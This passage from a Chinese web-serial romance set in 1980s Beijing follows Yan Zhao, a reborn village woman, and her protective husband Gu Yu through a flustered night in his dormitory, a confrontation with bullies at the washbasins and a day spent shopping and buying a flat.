顾煜侧头看了她一眼，像是被她这反应逗到了，语气依旧平静：“以前有一次我生病，你给我包过水饺。” 言昭愣住了。 她经历过一辈子，那样细碎的小事，真的已经想不太起来了。 她张了张嘴，想说自己不记得了，又觉得有点抱歉。 而顾煜并没有等她回答。 像是本来也没指望她记得。 他只是继续往前走，带着她回宿舍。 快到门口时，言昭忽然注意到门板上贴着一张纸。 白纸黑字，看起来像是刚贴上去不久。 她刚想凑近看清楚。 下一秒，顾煜已经伸手，把那张纸利落地撕了下来。 动作很快。 纸被折了两下，直接塞进了他的口袋里。 他什么都没解释，只是推开门，说了一句：“你进去吧，我去给你弄水。” 言昭原本还在想着那张纸条的事，被他这一句话一打断，下意识就抬起头。 她连忙说：“你带我一起去吧，我认认路，总不能每次都让你帮我。” 她不想什么事都靠他。 顾煜脚步一顿，但没有回头。 “没必要。”他说得很快，也很干脆。“这里是宿舍区，我们早晚也要搬出去。” 这句话落下，言昭心里一跳。 搬出去？ 那要搬到哪里？ 她下意识想追问，可话还没出口，顾煜已经转身离开，背影很快消失在走廊拐角。 言昭站在门口，张了张嘴，终究什么也没喊出来。 …… 言昭又泡了个澡。 冬天泡澡是真的让身体很舒服。 在乡下的时候没有这个待遇，烧水太麻烦，柴火、时间，都不舍得浪费。 可在这里，顾煜说大学有专门接水的地方。 水热得刚好，浸到身上，连骨头里的寒气都慢慢散开。 言昭难得放松下来，靠在桶边，闭了会儿眼。 她没有发现，隔着那道布帘，顾煜一直没走。 外间很安静。 只有水轻微晃动的声音。 他坐在桌边，没有出声，也没有动作，只是安静地等着，像是在确认她真的放松下来。 第10章 顾煜这个混蛋！ 言昭泡完澡才发现—— 她忘了把衣服拿过来。 她愣了一下，也没太在意，只想着外间就是椅子，伸手拿一下就好。 于是她抬手，拉开了帘子。 帘子掀开的那一瞬间，她整个人僵住了。 顾煜就坐在外面。 灯光落在他身上，他也正好抬眼。 两人的视线，猝不及防地撞在一起。 言昭脑子“嗡”地一声，短促地惊呼了一下，几乎是条件反射般把帘子往回一拉。 可下一秒，她发现帘子竟然被什么勾住了，怎么都拉不动。 只剩下一道窄窄的缝隙。 她只能缩在那一点点帘子后面，呼吸乱了，整个人不敢动。 隔着布影，身体的轮廓若隐若现。 空气一下子静得过分。 她能感觉到自己的心跳快得不正常。 而外面，也同样安静。 顾煜伸手，把她的衣服递了过来。 言昭这会儿是闭着眼的。 她全身在微微发抖，连指尖都是僵的。 没想到顾煜会在这里。 顾煜也没想到会把她吓成这样。 他顿了一瞬，呼吸明显放轻了，却还是不可避免地看了一眼——很快，又收回视线，像是被什么生生压住。 言昭用力稳住呼吸，指节攥紧，才慢慢睁开眼。 下一瞬，她差点又要晕厥过去。 因为顾煜就站在她面前，近到她能看清他低垂的眼睫。 言昭低低“啊”了一声，几乎是逃一样地翻上了床，直接把被子一卷，把自己从头到脚裹得严严实实。 只露出一点乱糟糟带点湿的发尾。 顾煜看了一眼，没忍住，轻轻笑了一声。 他就喜欢她在自己面前这样，慌张、害羞、躲起来，不是平日里一口一个“姐姐”，把自己推得远远的那副样子。 他把她的衣服放在床边，没有去碰她，也没再多说什么。 只是转身，开始解自己身上的外套。 随后，他进了浴桶。 没有半点犹豫，也没有嫌弃那是她用过的水。 水声轻轻响起，又很快归于安静。 屋里只剩下被子里细微的呼吸声，和水面偶尔晃动的声音。 此时缩在被子里的言昭，整个人都是崩溃的。 她怎么也没想到顾煜会这样。 肯定是故意的。 她脸埋在枕头里，耳朵红得发烫，心里又羞又愤，忍不住在心里狠狠骂他—— 顾煜这个混蛋！ 这跟村里那些爱逞嘴上便宜的流氓有什么区别！ 骂完这一通，心口还是乱得不行。 过了好一会儿，言昭情绪慢慢平复下来，又忍不住开始替他说话。 现在天这么冷，他也没别的地方能去。 而且……本来就是她自己洗澡忘记把衣服拿过来。 再说了，小时候她也替他洗过澡，那时候大家都小，也没想那么多，现在又能有什么不一样？ 她脑子里一边这么安慰自己，人还是缩在被子里，怎么都不敢动。 因为隔着被子，她清楚地听见了水声。 哗啦一声，又一声。 他应该是在倒水，把浴桶里的水清理掉。 她洗完澡就跑了，剩下的事情，全都是他在收拾。 想到这里，言昭心里的羞愤一点点退下去，取而代之的，是慢慢涌上来的自责。 她咬着唇，在被子里动了动，又停住了。 想出去，又不敢。 言昭最后还是没忍住，悄悄翻了个身。 被子被她掀开了一点点缝隙。 她本来只是想看看他走了没有。 可视线探出去的那一瞬，她整个人都僵住了。 顾煜还在。 他泡在木桶里，水面安静，只露出肩线与锁骨，灯影落下来，把轮廓映得格外清晰。 而他的目光，正好朝着床这边。 两人的视线，再一次毫无预兆地撞在一起。 言昭心口猛地一跳，像是被人当场抓住。 她本来是偷偷看的。 可现在，却变成了正正好好地对视。 而且—— 他…… 他竟然…… 竟然真的用她洗过的水…… 在洗澡！！！ 言昭的脸、耳朵、脖颈，连带着指尖，全都像被热水烫过一样，一路烧上来。 她慌忙把被子重新掩盖，再一次把自己埋了进去。 现在就算隔着被子，言昭都能清楚地感觉到那道视线的存在。 顾煜泡完澡，从浴桶里出来，水珠顺着肩线滑落。 他拿毛巾随意擦了擦，语气像是随口一提，又带着点明显的笑意：“今晚睡觉，你不穿衣服吗？当然我也不介意。” 话音刚落—— 被子里猛地伸出一只手。 “唰”地一下，把放在床边的衣服全抓了进去。 顾煜当然看不见被子里的情形。 只见被子鼓起了一下，又很快安静下来，只剩下一点细微的动静。 他低低笑了一声，没有再说什么。 顾煜把水倒掉，再把被他耍了个心眼的帘子重新整理好，直接拉过去，把从窗户折射进来的月光遮掩。 在关灯后，屋里一下子暗了下来。 顾煜还是伸手，把被子轻轻掀开了一点。 被子里的人已经贴着墙侧躺着，背对着他，整个人缩得很紧，像是在努力把自己藏起来。 他没再逗她，直接躺了上去。 被子重新落下的那一瞬间，一股淡淡的香味瞬间把他包住。 是香皂的味道。 是他给她买的那块。 温热，还带着一点说不清的香味，几乎充斥了整床被子。 顾煜喉结动了一下。 他下意识深吸了一口气，随后又立刻放轻了呼吸。 只觉得脑袋微微发晕。 不是困。 而是这股香味太好闻，想到这是昭昭没穿衣服沾染上去的，顾煜脑海中的理智已经被一点点挤到角落里。 顾煜喉结动了一下。 他很清楚地察觉到了自己身体的反应。 他只能慢慢侧过身。 没有靠近，也没有伸手。 只是静静地看着眼前的女人。 她背对着他，肩线在被子里勾出柔软的轮廓，呼吸轻浅而规律，像是真的睡着了，又像只是强撑着不敢动。 顾煜盯着她看了很久。 久到那股翻涌的热意被他一点点按回去。 他最终还是闭上了眼，重新躺平，刻意拉开了一点距离，声音压得很低，像是在对自己说：“睡吧。” 屋里重新安静下来。 只剩下两道呼吸，在同一张床上，交错却不相扰。 …… 次日，言昭是被热醒的。 她迷迷糊糊睁开眼，只觉得身前一片温度。 映入眼帘的，是一片胸口。 衣领松散地敞着，露出一截干净的皮肤，线条分明，却不夸张。 言昭眼睛眨了眨。 下一瞬，她整个人僵住了，连呼吸都不敢重一点。 她一点点反应过来自己现在竟然被顾煜抱在怀里，现在两人贴得太近了，近到能清楚感觉到对方身体的起伏。 言昭不敢动。 她生怕自己一动，就会把人弄醒。 她又慢慢、极慢地抬起头。 映入眼帘的，是顾煜的脸。 他还在睡。 眉眼放松下来，没有平日里的冷淡，也没有那股让人不敢靠近的疏离。 睫毛很长，鼻梁挺直，下颌线清清楚楚。 整张脸干净又好看。 不是那种油头粉面的俊，是一眼就让人觉得顺眼、耐看的那种。 言昭心口“咚”地跳了一下。 说实话。 顾煜这张脸，是她见过最俊的。 村里没有，镇上也没有。 就算是她上辈子见过的那些人，也没一个能比得上。 她忽然有点慌。 慌自己怎么会这样想。 又慌自己现在离他这么近。 言昭正慌着，顾煜忽然睁开了眼。 两人的视线，毫无缓冲地撞在一起。 她脑子一空，几乎是本能反应，猛地伸手把他一推，翻身就下了床，动作又快又乱。 顾煜被她推得侧了一下，但没真被推开，下一秒跟着伸手攥住了她的胳膊。 掌心的温度贴上来，很实在。 “你再睡一会。”他声音还有点刚醒时的低哑，“我去给你买早餐。” 言昭被那股温热攥得一激灵，下意识就摇头：“不用不用……昨晚的衣服还没洗，我去洗衣服。” 顾煜没松手，语气很平静：“衣服昨晚已经洗了。” 言昭愣住，眼睛一下子睁大：“……洗了？” “嗯。”他点头，“倒水的时候顺手洗的。” 这下她是真的震惊了。 “你……你怎么能洗衣服？”她脱口而出，声音都变了调。 顾煜看着她，像是被这反应弄得有点无奈，又有点好笑：“我为什么不能洗？洗衣服你还要搞男女歧视？” 言昭一时说不出话。 她能说除了老光棍，都是女人洗衣服吗？ 顾煜把她重新按回床上。 “你昨晚很晚才睡着。”他说，语气比刚才低了几分，“再睡一会。” 被子被他顺手拉好，盖到她下巴，隔绝了清晨那点凉意。 “今天我们要出去。”他又补了一句，“得攒足精神才行。” 言昭本来还因为他的手落在自己身上而紧张，听见这句话，注意力却一下子被带偏了。 她下意识问：“……我们去哪？” 顾煜看着她，忽然笑了一下。 不是那种明显的笑，只是唇角轻轻勾起，很淡，却能让人移不开眼。 “等会儿告诉你。” 就这么一句。 言昭却莫名觉得脸上发热，连心跳都乱了一拍。 她别开视线，把脸往被子里埋了埋，小声应了一句“哦”。 …… 顾煜洗漱完就去了食堂。 他拿着饭票，排在最前面，领了四个肉包、两个馒头、两个鸡蛋，还有两碗南瓜粥。 热气腾腾的。 他把南瓜粥小心地倒进搪瓷杯里，动作很小心翼翼，生怕洒出来。 就在这时，一个男生凑了过来，语气带着点刻意的挑事。 “顾煜，你什么时候搬走啊？” 顾煜没抬头，连眼神都没分过去，只继续把另一碗粥也倒好。 男生见被无视，脸色顿时有些挂不住，语气也跟着阴阳起来。 “那间寝室已经给我了，你识相点赶紧搬走吧，不然我就喊人过来，帮你把东西全搬出来。” 顾煜终于抬头，看了他一眼。 然后，他对着那男生，微微一笑。 那笑容和在言昭面前的完全不同。 没有温度，也没有善意，唇角弯起的弧度很浅，阴冷又湿黏，看得人心里发毛。 男生还没反应过来，顾煜已经从口袋里拿出一把小刀。 动作很稳。 他什么都没说，只是抬手，把刀“啪”地一下插在男生撑着桌面的手旁。 不是手背。 也不是手指。 而是正正好好插在几根手指的缝隙中间。 桌子震了一下。 男生当场吓得惨叫出声，整个人猛地往后一缩。 等叫完，他才发现—— 刀插得很准，半点皮肉都没碰到。 顾煜低头看了他一眼，语气甚至有点嫌弃。 “开个玩笑而已，有必要吓成这样吗？” 男生低头一看，才发现自己腿抖得不成样子，裤子上已经洇出一片深色。 脸色瞬间煞白。 顾煜把刀拔出来，随手合上，重新塞回口袋。 “放心。”他说得平静，“我会在寝室规定的搬离时间内离开。” 说完，他拎起早餐，转身就走。 背影干净利落，像刚才那一幕从没发生过。 …… 言昭还是起来了。 她把床铺整理好，被子折得整整齐齐。 言昭又照着昨天的记忆，她提着小篮子去了洗漱池。 刷牙、洗脸。 顾煜不在，她还是有点紧张。 水声哗啦啦地响着，可她还是能清楚感觉到周围的目光一刻都没离开过自己。 有人明目张胆地看。 有人低声议论。 言昭也是没想到顾煜在学校里这么出名，差不多每个人都认识他。 她低着头，加快了动作。 正准备提着篮子离开，一个女生忽然挡在她前面。 “喂。” 那语气不太客气。 言昭脚步一顿，没有抬头。 “你就是顾煜那个乡下老婆？” 声音不小，周围立刻安静了一瞬。 言昭指尖收紧，没接话，只是低着头想从旁边绕过去。 可下一秒，又有两个人一步跨过来。 三个人，刚好把她围在洗漱池边。 去路被堵死。 “装什么哑巴？” “问你话呢。” “你一个乡巴佬还真敢找到学校来。” 言昭心一下子提到了嗓子眼。 她攥着篮子的手微微发抖，喉咙发紧，想说话，可一时不知道该怎么开口。 她从没遇到过这种场面。 乡下的时候，顶多是背后被人议论。 可现在，是明晃晃地围上来，逼着她站在这里。 她下意识往后退了好几步，后背几乎贴上水池。 第11章 你在我身边，本来就是应该的 言昭心口发紧。 这是她第一次这样清楚地感受到—— 这里不是乡下，也不是她熟悉的任何地方。 这是顾煜的世界。 他的学校，他的身份，他被仰望、被议论、被觊觎的地方。 而她站在这里，显得格外突兀。 可下一瞬，她脑子里又忽然闪过几个画面。 教室门口，他挡在她前面。 小洋房里，他让人低头道歉。 路灯下，他伸手替她遮住那些目光。 一直以来，都是顾煜在护着她。 一次又一次。 这个念头冒出来的瞬间，言昭心里忽然有点发疼。 她发现自己好像一直在躲。 躲在他身后，躲在“姐姐”“乡下人”“不懂事”的壳子里。 太懦弱了。 这个想法一落下，她指尖慢慢松开了篮子的提手。 言昭深吸了一口气。 然后，她抬起了头。 视线不再躲闪，声音也没再发颤。 “你们找我，有什么事吗？” 一句话，说得很平直。 没有挑衅，也没有讨好。 那几个女生明显愣了一下。 大概是没想到，这个一直低着头、看起来怯生生的人，竟然会反问她们。 为首的那个皱了下眉，像是被顶了一下，语气立刻变得更冲。 “你还挺能装啊。” “刚刚不是不敢说话吗？” “你能不能从顾煜身边滚蛋？” 几个人冷笑了一声，目光在她身上来回打量。 言昭声音不大，但是很清楚。 “我跟顾煜从小一起长大，我为什么不能待在他身边？” 这句话说出口，她自己都愣了一瞬。 不是因为后悔。 而是因为，她发现自己是真的这么想的。 她是强行来找顾煜的，这点她心里一直清楚。 她也不是没担心过万一他不收留她怎么办？ 万一他嫌她麻烦怎么办？ 可那是她和顾煜之间的事，轮不到别人来决定她该不该走。 更何况，让她滚？ 言昭心里忽然生出一股说不清的气愤。 她要是走了，又能去哪？ 回乡下？ 回那个一辈子都在耗人的地方？ 那些画面在她脑子里一闪而过。 被打压，被骂，被一句“你再忍忍”打发掉的一生。 言昭想到这些，她在这些人面前，心里面反而没那么紧张了。 因为她已经见过更难看的东西。 那几个人彻底愣住了。 她们显然没想到，这个一直被她们当成“乡下老婆”“拖累”的人，会这样直白地顶回来。 短暂的安静后，有人脸色变得很难看。 “你以为你算什么？” “要不是顾煜，你能待在这？” 言昭心口一紧，可她没有再低头，只是很慢地说了一句。 “那也是顾煜让我待在这里，你们凭什么说我？” 这边顾煜回来的时候，手里还提着早餐。 他在宿舍没看见人，眉心微微一拧，立刻就猜到她应该是去洗漱了。 才刚拐过拐角，就看见那一幕。 言昭被几个女生围在中间，位置并不算偏，却足够让人退无可退。 对方的姿态明显带着逼迫，声音不低，来往的人都忍不住多看两眼，却没人插手。 那一瞬间，顾煜脸色彻底冷了下来。 他脚步一顿，手指收紧，几乎是本能地就要上前。 可就在那一刻，他听见了言昭的声音。 不是他以为的慌乱、低声、道歉。 而是很稳的一句反问。 顾煜脚步生生停住。 他站在原地，像是被什么东西拽住了。 他太清楚言昭在他面前是什么样子—— 说话轻，动作慢，总是先退一步，哪怕受了委屈，也习惯自己吞下去。 她从来不擅长争辩，更不会当众顶人。 可现在不是。 她站得很直，声音不大，可那一句一句，听起来清清楚楚。 这是他从没见过的言昭，不是需要被他护在身后的那种。 而是正在努力站住自己的那种。 他没有再往前。 只是站在那里，目光沉沉地落在她身上，像是在确认什么。 然后，他听见了她后面说的那些话。 一句一句。 顾煜喉结轻轻滚了一下。 那股原本翻涌的怒意，并没有消失，只是被压得更深了。 可在那之下，已经多出了一点别的情绪—— 一种陌生的、滚烫的东西。 为首的那个女生脸色一沉，忽然就动了。 她抬手的动作又快又狠，明显是冲着脸去的。 言昭心里一紧，几乎是本能地低头一躲，脚步也跟着往旁边乱退，想要从缝隙里跑出去。 可她还没来得及站稳，额头就撞上一片坚实的胸口。 熟悉的气息瞬间包裹下来。 下一秒，她整个人就被用力护进怀里。 顾煜的手臂收得很紧，几乎是把她整个人挡在身后。 他出现得太快，那几个女生都还没反应过来。 那只没打中的手还悬在半空，想要再挥下来。 顾煜已经抬手，准确无误地扣住了对方的手腕。 力道一点都不留。 他向外一掰。 “啊——！” 尖利的惨叫声骤然响起。 女生疼得脸色发白，身体不受控制地往前一弯。 另一只手下意识去抓，可顾煜已经松开，她什么都没抓到，只能站在原地捂着手，疼的呼吸都乱了，身体直直发抖。 直到这时候，周围的人才真正看清。 站在言昭身前的，是顾煜。 他神情冷得厉害，眉眼微垂，目光却阴沉得吓人，没有半点平日里的温和。 洗漱池这一片，瞬间安静下来。 原本围着的人，下意识往后退了半步，连说话都不敢。 言昭被他挡在身后，整个人还有点发懵，手指无意识地攥住了他衣角。 顾煜低头看了她一眼。 确认她没事。 这才重新抬眼，看向那几个女生。 “谁给你们的胆子，动她。” 声音不高。 却冷得让人发颤。 没人敢回答。 顾煜没再多说什么。 他只是冷冷扫了那几个人一眼，“这件事我会跟老师说，你们好自为之。” 说完，他伸手牵住言昭，动作很稳，带着人直接离开。 那几个女生听见这句话，她们脸色惨白无血色，站都站不稳。 这边两人一路回到宿舍，门刚关上，顾煜就立刻转过身。 “有没有哪里不舒服？她们有没有碰到你？” 他低头仔细看她的手臂，又想去看她的肩膀，动作明显带着急。 言昭被他这样靠近着检查，脸颊一点点热起来。 他的手指碰到她手臂时，她下意识往后躲了一下，轻轻避开他的动作。 “没有。” 她摇头，声音很轻，“我没被欺负。” 顾煜这才明显松了一口气。 那股一直绷着的劲，在这一瞬间泄了下来。 他站在她面前，忽然低下头，把额头轻轻抵在她的手背上，呼吸压得很低。 “对不起，都是因为我。” 那一声低得几乎要散在空气里。 言昭被他这一下弄得有点慌，连忙想抽回手，她急急开口：“怎么能因为你？也是我在你身边，她们不高兴而已。” 顾煜慢慢抬起头，看着她。 目光沉静，又很深。 “你在我身边，本来就是应该的。” 言昭听见这句话，心口像是被什么轻轻托住了。 那种从来到京市起就一直悬着的、不安稳的感觉，在这一瞬间忽然落了地。 她其实一直怕。 怕自己站在他身边不合适，怕哪天被人提醒一句“你该走了”，怕连顾煜自己都会觉得她是累赘。 可他这句话，说的没有一点迟疑。 言昭眼眶有点热，却还是努力忍住了。 她抬起头，对上他的视线，唇角慢慢弯起来，露出一个很乖的笑。 然后用力点了一下头。 “嗯。” …… 两人一起吃了早饭。 肉包子比她在乡下见过的都要大，一口下去全是肉馅。 言昭原本想着少吃点，可顾煜一直把包子往她面前推，她不知不觉就吃了两个肉包，又吃了一个馒头，还喝了一整碗南瓜粥。 等她反应过来，已经撑得眼睛都泛了点白。 她坐在那儿不敢动，手轻轻按着小腹，一副快要消化不过来的模样。 顾煜看了一眼，没说什么，只是把她面前的碗收走，又把自己的吃完，动作自然得很。 吃完之后，两人才出门。 顾煜把钱也带上了，跟着主动开口解释今天的行程。 “我们去看房子。” 言昭愣了一下。 顾煜语气很平静：“这个宿舍是学校分配的，住不了多久，本来你没来之前，我就打算出去看看。” 他侧头看了她一眼，又补了一句：“现在正好。” 言昭心里轻轻动了一下。 原来不是临时起意。 也不是因为她惹了麻烦。 她抿了抿唇，没再说什么，只是跟紧了他的脚步。 顾煜在离开学校前，还是去了一趟老师那边。 言昭没有跟着。 她很听话地坐在花园里的长椅上，背脊挺得笔直，双手规规矩矩地放在膝盖上。 花园里安静，偶尔有学生经过，看她一眼，又很快移开视线。 言昭望着远处教学楼的方向，心里隐约能猜到顾煜去做什么。 大概是去跟老师说那几个女生的事。 她没多想。 现在言昭反而有点说不上来的安心。 这种感觉，她上辈子几乎没体会过。 不需要自己解释，不需要低头求和，也不需要先把所有委屈咽下去。 有人站在她前面，把事情处理好。 她只是被护在身后。 言昭低头看了看自己的手，指尖微微蜷了一下。 被人护着的感觉，是真的挺好的。 顾煜离开言昭的视线后，脸上的神情几乎是瞬间变了。 方才那点温和像是被人抽走了一样。 唇角重新勾起一抹若有若无的笑，却冷得很假，眼底没有半点情绪。 他走到老师办公室门口，抬手敲门。 里面的人一见是他，立刻站了起来，语气明显带着几分急。 “哎，小煜啊。”王老师叹了口气，语速很快，“我家那丫头被她妈惯坏了，说话做事没个分寸，我已经骂过她了，你别往心里去。” 顾煜站在原地，态度一如既往的客气。 可那份客气，是疏离的。 他轻轻摇了下头，“老师，这事不怪您。只是我媳妇胆子小，以后，我就不去老师家里了。” 这句话说得不重。 可已经把界线画清。 王老师愣了一下，张了张嘴，本想再劝两句，可对上顾煜那双没什么温度的眼睛，话到嘴边，又咽了回去。 这孩子只要决定的事情，就不可能改变念头。 王老师想到自己那个项目，顾煜肯定也是拒绝的。 顾煜也没说多什么，他微微颔首，没再多说一句，转身离开去了招生办那里。 等到他下楼，就看到还坐在椅子上的女人。 顾煜轻轻呼出一口气，然后面带笑容的走过去。 言昭原本坐得端端正正，双手放在膝上，正低头数着地上的砖缝。 听见那一声“昭昭”，她几乎是立刻抬起头。 在看见顾煜的瞬间，她条件反射地站起身，脚步快了两步，直接走到他身边。 顾煜的目光落在她脸上，那点从招生办带出来的冷意终于彻底散了。 他伸手牵住她的手，语气温柔：“我们走吧。” 言昭看着两人交握的手，心口忽然有点发紧，又慢慢松开。 …… 言昭自从那天坐火车来到京市，就一直待在学校里。 教室、宿舍、食堂。 她的世界小得很。 现在一出校门，街道忽然变得热闹起来。 人来人往，声音杂乱。 她下意识放慢了脚步，目光却止不住地四处看。 街边一排排房子，有高有矮，有旧有新。 有的是老式平房，门口摆着煤炉子。 有的已经刷了白墙，窗户上装了玻璃，看着就亮堂。 顾煜注意到她的视线，语气放得很缓。 “今天是周末，所以人多。” 现在已经改革开放，但是队里还是跟以前那样，就连省城还是国营最大。 没想到现在路边还有人支着小木桌，卖袜子、发夹、肥皂各种东西。 还有推着自行车卖糖葫芦的，小孩围了一圈。 更远一点，有人在卖包子，白气腾腾。 言昭看得有些发怔。 她从没见过这样的场面。 不像村里，天一黑就关门。 这里好像怎么都不会停下来。 她眼睛几乎不够用，看看这边，又看看那边。 顾煜没有催她。 第12章 顾煜发威了 言昭是真的被震住了。 她上辈子也是在村里，后来改革开放，土地从公家的分到各家各户，可她的日子其实一点都没变。 天亮下地，天黑回屋，钱还是紧的，人还是被拴在灶台和院子里。 所谓变化，从来没有真正落到她身上。 可京市不一样。 街道像是被一下子掀开了盖子，从前在村里被骂作投机倒把的事情，在这里却被光明正大地摆在路边。 卖布头的、卖吃食的、蹲在地上打算盘的，一个个神情鲜活，脸上全是精气神。 言昭看着那些人，心里一阵阵发紧。 原来不是不能变。 只是她从前，从来没站在能改变的地方。 言昭忍不住靠近顾煜，很小声问：“他们……都不怕吗？” 顾煜侧头看她，语气很平：“昭昭，你问的是怕什么？” “怕被抓，怕被骂。”她声音很轻，“以前村里有人偷偷卖鸡蛋，会被说成不正经。” 顾煜听完，只淡淡说了一句：“时代不一样了，规则也不一样。你以后也不用怕。” 言昭脚步慢了一下，抬头看他。 顾煜没有看街边，只望着前方。 阳光从街口斜斜照过来，落在他侧脸上，把轮廓照得很清楚。 鼻梁挺直，下颌线干净利落，整个人站在那里，就显得很高，很稳妥。 言昭说不出什么好听的话，只觉得他长得是真好看，是那种一眼看过去就让人移不开视线的俊俏。 她也跟着发现周围不止自己在看他。 街边经过的人不少，有几个年轻姑娘走着走着就慢了下来，目光落在顾煜身上，又装作若无其事地移开，过一会儿却还是忍不住回头看。 还有的干脆凑在一起小声说话，视线一下一下往这边飘。 言昭心里微微一紧。 原来不是她多想。 但是顾煜在这里，是真的很显眼。 她下意识往他身边靠近了半步，动作很小，自己都没察觉。 可顾煜像是感觉到了，脚步也跟着慢了一点。 他原本下意识想去牵她的手，可念头刚起，又被自己压了下去。 他很清楚，大庭广众的亲近对她来说还是太突然了，会吓着她。 于是他换了个方式，侧身走近了一点，把她自然地带到自己身侧，让她靠近自己的手臂。 两人并没有任何过分亲密的举动。 没有牵手，也没有刻意的贴近。 可就是这样的距离，已经足够让旁人一眼看出，他们之间的关系非比寻常。 …… 顾煜并没有急着带她去看房子，而是顺着附近的街道慢慢逛了一圈。 街边的摊子一字排开，卖什么的都有，人声热闹得很。 顾煜走得不快，像是刻意放慢了节奏，让她多看看。 走到一家成衣铺前，他忽然停了下，语气里带着点可惜：“今天你没穿裙子。” 这话来得突然。 言昭脸颊一下子热了起来，低着头小声应了一句。 那两条裙子她确实没穿，不是不喜欢，是不敢。 她从来没穿过那样的衣服，也怕穿在自己身上不好看，怕一照镜子就露怯。 顾煜像是没察觉她的犹豫，又带着她进了旁边的小铺子，给她挑了发夹和扎辫子的发绳。 颜色都很亮，也很新。 言昭捏着那些东西，目光却慢慢落到自己手上—— 指节粗糙，指腹起茧，和这些精致的小物件放在一起，显得格外不合适。 她的眼神不自觉地暗了下去。 下一刻，顾煜又把几样涂脸的、涂手的小罐子放到柜台上，一样样结账，动作干脆。 言昭这下是真的急了，伸手拉住他的袖子，声音压得很低：“别买了……我们不是还要看房子吗？钱别浪费在我身上。” 顾煜停下动作，低头看她。 没有不耐，也没有劝说，只是摇头：“不浪费。” 他说完这句话，就把东西接过来提在手里。 言昭跟在他身后，看着那一张张钱递出去，心里一阵一阵发紧。 才这么一会儿工夫，就花掉了好几十。 而且，几乎全都花在她身上。 发夹、发绳、涂脸的、涂手的，每一样都不算贵，可凑在一起，就成了一笔她从前想都不敢想的钱数。 言昭站在一旁，手指攥得发白，心里又酸又热，说不清是感动，还是着急，更多的是惶恐。 上辈子，她身上最多的时候，也就五块钱。 而且那五块钱，还得掰成好几份用，买盐要算，买油要算，连一双布鞋磨破了都得犹豫半天。 可现在，这些钱就这么轻轻松松地花出去了。 也都是为她。 顾煜注意到她一路都没怎么说话。 她低着头，目光落在那些袋子上，肩膀微微绷着，像是把所有情绪都压在心里。 那种安静，不是放松，而是小心翼翼。 顾煜轻轻叹了口气，脚步慢下来，侧过身看她。 “昭昭。”他的声音放得很低，很稳，“我赚钱，本来就是给你花的。” 言昭指尖一紧，下意识抬头看他。 顾煜没有笑，语气却比刚才任何时候都认真，“以前你在老家，我不在你身边，只能把钱寄给你。寄过去多少，我心里都不踏实，总觉得你省着、忍着，舍不得用。” 他说到这里，停了一下，目光落在她发白的指节上，“现在不一样了，你已经在我身边了。钱不花在你身上，花给谁？” 这句话说得很平静，却像一下子撞进言昭心里。 她喉咙发紧，想说什么，却发现自己一句完整的话都说不出来。 原来他一直给自己寄钱，是因为想给她花钱。 可是自己却把那些钱全给了顾城。 幸好…… 幸好这辈子她没有那么蠢。 顾煜看她眼眶微红，没继续逼她表态，只伸手把她往自己这边带了带，避开人群，语气又恢复成平常的样子，“走吧，还要去看房子。” 言昭点了点头，低低“嗯”了一声。 …… 京市的房子，跟言昭想象里的完全不一样。 路面是平整的水泥地，干干净净，没有一点泥巴。 街道宽敞，院墙齐整，一排一排的房子看过去，规规矩矩，又透着一股说不出的气派。 她一路走，一路看，脚步都不自觉放轻了，生怕自己踩坏了什么。 中介领着他们看了好几处院子，最后停在一处四合院门口。 院门一推开，言昭就愣住了。 里面竟然有个小池塘，水清得发亮，旁边还立着一座小凉亭，院子铺着青石板，一点杂草都没有。 屋檐下的木柱看着旧，可一点不破，反而透着高贵。 中介笑着介绍，说这地方以前是当官的人住的，格局好，风水也好。 言昭站在院子中间，一句话都说不出来。 这里太好看了，好看到让她心里发虚。 等中介说出价格的时候。 “三万。” 这两个字落下来，言昭眼前一片发黑。 她下意识攥紧了手，指尖发凉。 三万是什么概念，她不知道该怎么去想。 她只知道，上辈子她听过“万元户”这个词，整个县里也就那么一个人，逢年过节都会被拉出来夸。 可现在，一个房子，开口就是三万。 那不是钱。 那是她一辈子都没见过的数。 她甚至不敢去看顾煜，只觉得脚底发软，站在这院子里，都像是占了不该占的位置。 中介还在说着什么，言昭却一句都没听进去。 她只是站在那里，看着那池塘里的水发着光。 顾煜在带着言昭踏进那座院子的时候，其实第一眼就注意到了她的反应。 她站在院子里，目光落在池塘、凉亭、青石板上，亮得很明显，是那种藏不住的喜欢。 前面看过的几处房子，她最多只是安静听着，点头或者摇头，从来没有露出过这样的神情。 顾煜当时就明白了。 她是真的喜欢这里。 所以当中介说出“三万”的时候，他心里只是迅速过了一遍数字。 价格是高了些，但并不是完全负担不起，只是需要时间，需要筹划。 他没说行，也没说不行。 只是自然地牵着言昭的手，带她离开了那座院子。 后面又看了几套房子。 有小院，也有平房，价格合理，条件也不差。 中介说得很卖力，可言昭始终很安静。 她会礼貌地听，可眼睛再没有亮起来过。 顾煜走在她身侧，看得清清楚楚。 他心里慢慢有了数。 等中介带他们看完最后一套房子离开，街道重新热闹起来，言昭才轻轻松了一口气，像是刚才一直绷着。 顾煜没再提那座院子的事。 最后看上了一个距离学校很近的房子。 那是一栋筒子楼，楼不高，灰白的墙面，楼道里人来人往，上厕所和用水都在外面。 但胜在离学校近，走路不到十分钟。 中介介绍得很实在，说这里原本就是给老师和职工住的，安静，安全，就是小了一些。 但是也要比宿舍大不少。 价格一报出来，四千。 顾煜几乎没犹豫。 他心里算得很清楚，这个数他现在正好拿得出来，买下就能住，不用再折腾宿舍，也不用让她再被人盯着看。 可让他没想到的是，还没等他开口，言昭先说话了。 她站得很直，声音不大，却一点不虚，问中介这房子年头多少，墙体是不是返潮，公共水龙头是不是经常坏，又提到楼下那户人家晚上吵不吵。 她一条一条说得清楚，语气不快，但是气势很强。 最后一句落得尤其干脆，说这种条件，四千不合适。 中介明显愣了一下。 没想到看起来很胆小的女人突然跟自己还价，说的还都一针见血。 顾煜站在一旁，没插话，只低头笑了笑。 他还是第一次这么清楚地看到她这个样子。 最后中介被她磨得没脾气，咬牙松口，三千六。 交易敲定的时候，言昭眼睛亮得不行，脸上的笑根本压不住，像是捡了天大的便宜。 她一边点头一边跟着顾煜走出来，脚步都轻快了不少，手指下意识攥着他的衣角。 顾煜看她这个样子，还是没忍住问了一句：“这么高兴？” 他的目光落在她脸上。 刚走了一路，她脸颊微微鼓着，带着点热意，那一小块肉看着白白的，嫩是嫩的。 就是被风吹日晒久了，皮肤有点粗糙。 可他一点都不嫌弃，反而心里冒出个极不合时宜的念头—— 要是咬一口，会不会软得很？ 言昭并不知道他在想什么，被他这么一问，反倒有点不好意思，轻轻点了点头。 她确实高兴。看过三万的院子，再回头看这套四千的房子，只觉得便宜得不真实。 